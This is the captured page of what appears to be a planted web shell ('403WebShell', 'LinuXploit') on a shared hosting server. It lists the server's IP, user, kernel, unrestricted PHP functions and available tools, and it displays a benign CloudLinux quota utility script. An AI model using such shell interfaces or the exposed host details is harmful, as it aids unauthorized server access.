Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.223.129
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clquota/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clquota/utils.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import json
import sys
import csv
import time

from clcommon.ui_config import UIConfig
from clcommon import FormattedException


def print_text(data, title='id', sort_key=str):
    '''
    Prints data as pure text
    '''
    data_keys = list(data.keys())
    if len(data_keys) == 0:
        return
    fields = list(map((lambda x: x[0]), data[data_keys[0]]))
    fmt_list = ['%32s']
    fmt_list.extend(['%16s'] * (len(fields)))
    fmt = ''.join(fmt_list)
    print(fmt % tuple([title] + fields))
    print('-' * 80)
    for item in sorted(data_keys, key=sort_key):
        row = [item]
        row.extend(list(map((lambda x:x[1]), data[item])))
        print(fmt % tuple(row))


def print_csv(data, title='id', sort_key=str):
    '''
    Prints data as comma separated values
    '''
    data_keys = list(data.keys())
    if len(data_keys) == 0:
        return
    fields = list(map((lambda x: x[0]), data[data_keys[0]]))
    fields = [title] + fields
    csv_out = csv.writer(sys.stdout, quoting=csv.QUOTE_MINIMAL)
    fmt = ','.join(['%s'] * len(fields))
    print(fmt % tuple(fields))
    for item in sorted(data_keys, key=sort_key):
        row = [item]
        row.extend(list(map((lambda x:x[1]), data[item])))
        csv_out.writerow(row)


def print_json(data, title='id', sort_key=str):
    """
    Prints data as json
    """
    print(json.dumps({
        'result': 'success',
        'timestamp': time.time(),
        'items': data,
        'quota_show': check_quota_show(),
    }, indent=1))


def print_json_error(error):
    """
    Prints error in json format that
    is later used by cl-limits
    """
    if isinstance(error, FormattedException):
        print(json.dumps({
            'result': error.message,
            'context': error.context,
            'details': error.details
        }, indent=1))
    else:
        print(json.dumps({
            'result': str(error)
        }, indent=1))


def print_text_error(message):
    print("ERROR: %s" % (message))


def print_csv_error(message):
    csv_out = csv.writer(sys.stdout, quoting=csv.QUOTE_ALL)
    csv_out.writerow(['ERROR', message])


def check_quota_show():
    """
    Show quota enabled
    :return: bool
    """
    return UIConfig().get_param('showUserInodesUsage', 'inodeLimits') is True

Youez - 2016 - github.com/yon3zu
LinuXploit